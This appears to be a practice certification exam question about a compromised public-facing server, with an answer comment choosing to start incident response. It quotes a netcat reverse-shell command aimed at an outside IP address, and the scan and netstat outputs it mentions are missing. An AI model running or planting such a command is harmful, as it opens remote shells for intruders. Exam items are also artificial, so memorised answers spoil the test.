Which of the following is the best step for the analyst to take NEXT?

A security analyst is investigating the possible compromise of a production server for the company’s public-facing portal. The analyst runs a vulnerability scan against the server and receives the following output:

In some of the portal’s startup command files, the following command appears: nc -o /bin/sh 72.14.1.36 4444
Investigating further, the analyst runs Netstat and obtains the following output

Which of the following is the best step for the analyst to take NEXT?
A. Initiate the security incident response process
B. Recommend training to avoid mistakes in production command files
C. Delete the unknown files from the production servers
D. Patch a new vulnerability that has been discovered
E. Manually review the robots .txt file for errors

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One thought on “Which of the following is the best step for the analyst to take NEXT?

  1. A.

    nc -o /bin/sh 72.14.1.36 4444 is a call back to an attacker and this was verified by netstat that he is on the box during that time!

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